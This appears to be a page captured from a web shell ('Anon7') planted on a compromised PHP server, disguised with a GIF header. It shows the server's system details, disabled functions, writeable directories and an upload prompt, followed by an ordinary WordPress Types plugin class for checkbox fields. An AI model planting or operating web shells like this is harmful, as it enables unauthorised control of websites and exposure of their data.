GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/types/library/toolset/types/embedded/classes/field/datamapper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/types/library/toolset/types/embedded/classes/field/datamapper/checkboxes.php
<?php

class WPCF_Field_DataMapper_Checkboxes extends WPCF_Field_DataMapper_Abstract {


	/** @var WPCF_Field_Definition */
	protected $field_definition;


	/**
	 * @param WPCF_Field_Definition $field_definition Must be a definition of a checkboxes field.
	 */
	public function __construct( $field_definition ) {
		parent::__construct( $field_definition );

		if( $field_definition->get_type()->get_slug() != Types_Field_Type_Definition_Factory::CHECKBOXES ) {
			throw new InvalidArgumentException( 'Wrong field definition type.' );
		}
	}


	/**
	 * Theoretically this should be placed in self::post_to_intermediate(), but toolset-forms & legacy code
	 * might expect the POST data instead what I think should be the intermediate format.
	 *
	 * First of all, $value is expected to be an array. If checkbox is checked, an element with its id as key and value
	 * will be present. In that case it will be stored in the same way. If it's not checked, we either store nothing
	 * or a zero, depending on the field definition setting "Save empty value".
	 *
	 * @param array|mixed $value
	 *
	 * @return array
	 */
	public function intermediate_to_database( $value ) {

		$options = $this->field_definition->get_field_options();

		$result = array();

		foreach ( $options as $option_id => $ignored ) {
			$option_is_checked = isset( $value[ $option_id ] );

			if ( $option_is_checked ) {
				$result[ $option_id ] = $value[ $option_id ];
			} else if ( $this->field_definition->get_should_save_empty_value() ) {
				$result[ $option_id ] = 0;
			}

		}

		return $result;
	}

}

Anon7 - 2021